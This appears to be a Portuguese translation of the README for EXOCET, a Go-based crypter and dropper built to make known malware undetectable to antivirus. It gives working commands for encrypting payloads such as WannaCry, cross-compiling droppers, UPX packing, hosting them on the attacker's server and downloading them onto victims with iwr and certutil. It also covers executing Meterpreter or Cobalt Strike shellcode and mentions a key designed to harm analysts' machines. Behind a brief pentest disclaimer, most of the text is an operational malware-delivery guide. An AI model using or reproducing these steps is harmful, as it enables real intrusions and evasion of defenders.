tanc7/exocet-av-evasionEXOCET - Ferramenta de entrega de payload com evasão de AV e indetectável
Chang Tan
Certificado AWS Cloud Practitioner e Solutions Architect Associate
[email protected]
Certifique-se de empacotar seus payloads para evitar qualquer vazamento da chave do crypter e frustrar ainda mais os analistas de malware. Não é necessário um empacotador comercial de alto nível como Themida. Isso levantaria ainda mais suspeitas sem algo como um certificado de assinatura de código. Sem certificado de assinatura de código, em sistemas Windows, o SmartScreen é acionado automaticamente. Esta é a regra para todos os programas potencialmente indesejados ou "PUPs", ou seja, todos os payloads de malware, beacons, geacons, trojans de acesso remoto, etc., exigem um certificado de assinatura de código. Seu dinheiro é melhor gasto na compra de um certificado de assinatura de código do que em algum empacotador de alto nível.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
Então, solte o payload no seu alvo. Usando algo como um e-mail de phishing, link, ou se você já tiver acesso ao shell, entregue-o usando algo como hospedar seu próprio servidor localmente
python -m http.server 80'
e então, na máquina que você está comprometendo, execute como um prompt do powershell
ou
e então execute com
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"certutil.exe -urlcache -split -f http://yourip/outputmalware.exeoutputmalware.exe
O EXOCET é superior aos módulos "Evasive Payloads" do Metasploit, pois o EXOCET usa AES-256 no Modo GCM (Galois/Counter Mode). Os Payloads de Evasão do Metasploit usam uma criptografia RC4 fácil de detectar. Enquanto o RC4 pode descriptografar mais rápido, o AES-256 é muito mais difícil de determinar a intenção do malware.
No entanto, é possível usar o Metasploit para construir um Payload Evasivo e, em seguida, encadeá-lo com o EXOCET. Assim, o EXOCET descriptografará via AES-256 e, em seguida, o Payload Evasivo do Metasploit se descriptografa do RC4.
Assim como meu projeto anterior, DarkLordObama, este kit de ferramentas é projetado para ser um veículo de entrega/lançamento, assim como o Veil-Evasion faz.
No entanto, o EXOCET não está limitado a uma única base de código ou plataformas que executam Python. O EXOCET funciona em TODAS as plataformas e arquiteturas suportadas pelo Go.
EXOCET é efetivamente um dropper de malware do tipo crypter que pode reciclar payloads facilmente detectáveis como WannaCry, criptografá-los usando AES-GCM (Modo Galois/Counter), que é mais seguro que AES-CBC, e então criar um arquivo dropper para a maioria das arquiteturas e plataformas existentes.
Basicamente...
Isso significa arquiteturas de 32 bits e 64 bits, e funciona em Linux, Windows, Macs, Unix, Android, iPhone, etc. Você pega qualquer coisa, e quero dizer QUALQUER COISA, como o Verme Morris de 1988 que quase derrubou a internet (que explorou uma falha no daemon de escuta fingerd no UNIX), e a torna uma arma cibernética viável novamente.
O EXOCET é escrito inteiramente em Go.
O EXOCET, independentemente de qual binário você usa para executá-lo, requer Golang para funcionar. Por padrão, ele gera um arquivo .go de criador de criptografia.
sudo apt-get update && sudo apt-get install -y golanggo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
Uma chave é gerada automaticamente para você. A chave tem 64 caracteres de comprimento e é inteiramente composta por redirecionadores de pipe de shell do bash e cmd.exe para confundir e interromper tentativas de força bruta contra a chave, causando comportamento imprevisível e destrutivo no dispositivo do analista forense.
Para alvos Windows 64 bits...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
E sai um arquivo outputmalware.exe
Para alvos MacOS 64 bits
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
Para alvos Linux 64 bits
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Consulte esta referência no github para seus parâmetros para outros sistemas operacionais, como Android Referência para Compilação Cruzada Go
Observe que a chave ainda pode ser encontrada com o comando strings, por favor, use o comando upx-ucl para empacotar o binário e ocultar a chave.
Além disso, existem binários pré-construídos que eu fiz, ou seja, você só precisa executar ./EXOCET ou EXOCET-Windows.exe
Eu, Chang Tan, e os criadores do módulo principal e submódulos do Exocet e os pacotes que ele incorpora NÃO somos responsáveis pelo uso indevido desta ferramenta. Esta é meramente uma ferramenta de teste de penetração. É estritamente proibido implantar binários de saída do Exocet contra sistemas protegidos não autorizados ou sistemas governamentais protegidos não autorizados.
Estou ciente de que atores de ameaças do APT41 e do NSO Group usaram e/ou adotaram código desta ferramenta, particularmente o método go-memexec. Se eu for abordado por Investigadores Federais sobre o uso indevido desta ferramenta, não estou assumindo responsabilidade.
Isso é o mesmo que aconteceu com os desenvolvedores do Mimikatz e do PowerShell Empire (que depreciaram seu próprio desenvolvimento ao perceberem seu uso entre atores de ameaças). Os sucessores retomaram o desenvolvimento do Empire, e existem alternativas gratuitas como o Covenant C2.
Em 4 de maio de 1982, durante a Guerra das Malvinas, um esquadrão de Super Etendards argentinos lançou um míssil Exocet fabricado na França contra o HMS Sheffield. Apesar das tentativas da Marinha Real de parar o míssil, um atingiu, afundando o Sheffield. Esse incidente literalmente colocou a Argentina no mapa como uma demonstração de força contra um poder colonial global.
Muito parecido com como as ações de Onel de Guzman com o vírus ILOVEYOU colocaram as Filipinas no mapa como uma ameaça cibernética.
.png)
Então este mês, e o próximo mês, serão meses ocupados para mim, e haverá atrasos na implementação desses métodos. Mas estou animado para começar a implementar novas técnicas de evasão de AV, como...
Sou um homem muito ocupado, tenho as seguintes prioridades e gostaria de solicitar alguma ajuda, alguns pull requests para auxiliar no projeto. Já que tenho as seguintes coisas a fazer
Preciso de um pouco de ajuda, porque implementei com sucesso o CGO para executar shellcode criptografado, mas está gerando violações de acesso à memória exit status 0xc0000005. Não deve ser nada relacionado ao DEP (Prevenção de Execução de Dados) porque o arquivo CGOTest/working-template-shellcode-executor.go foi executado.
Problema Descoberto
Acontece que o VirtualAlloc deve ser chamado de kernel32.dll e ntdll.dll para tornar adequadamente a página de memória onde o shellcode pousa, legível, gravável e executável, em outras palavras, definir PAGE_EXECUTE_READWRITE como ON. Leia a Nota sobre o Problema de Violação de Acesso à Memória abaixo.
Quando eu descobrir isso, o CGO foi uma droga de implementar, agora podemos criar crypters que executam INLINE-ASSEMBLY. O que era considerado uma impossibilidade até agora.
Observe que isso requer Golang e o toolchain MinGW instalados no Windows com você executando e gerando o shellcode no Windows. A razão é que o CGO não pode ser compilado de forma cruzada como nossos outros módulos EXOCET. Para instalar o toolchain, você precisa ir para https://www.msys2.org/ e seguir o guia. Então você deve adicionar gcc às suas variáveis de ambiente no Windows
Passo 1: Gerar shellcode, isso pode ser de payloads msfvenom Meterpreter, Beacons Cobalt Strike, ou seu próprio shellcode personalizado em formato compatível com C
Passo 2: Copie apenas os bytes do shellcode, excluindo as aspas, para um arquivo de texto como sc.txt
Passo 3: Seu arquivo de shellcode deve ficar assim. Shellcode bruto
Passo 4: Agora execute o comando go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY
Passo 5: Você pode tentar executá-lo, mas encontrará erros de violação de acesso à memória por algum motivo, no qual ainda estou trabalhando
Aparentemente, além das principais limitações do CGO que proíbem ou frustram drasticamente a compilação cruzada, o problema é que o shellcode que queremos executar está pousando em uma seção de memória (analisada no WinDBG x64) que não é RWX. Em outras palavras, a menos que escrevamos código C que explicitamente permita a execução na memória do shellcode, sempre lançará erros de violação de acesso.
O outro método, que observei em outros desenvolvedores de módulos Go rudimentares https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, é que eles usam a API do Windows do Go para interagir com ntdll.dll e kernel32.dll para chamar VirtualAlloc e especificar áreas de páginas de memória RWX. Este método funciona melhor, mas parece que o shellcode deve estar apenas no formato num-transformed para funcionar.
Ainda estou trabalhando nisso, pessoal. Posso combinar várias linguagens de programação para escrever um módulo de execução de shellcode adequado.
Infelizmente, estou encontrando erros ao fazer um binário pré-compilado para MacBooks com as novas CPUs M1. Pode ser um problema com minha instalação do Golang
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
De qualquer forma, você ainda precisa do Golang para compilar ou compilar de forma cruzada o malware para a plataforma que está segmentando.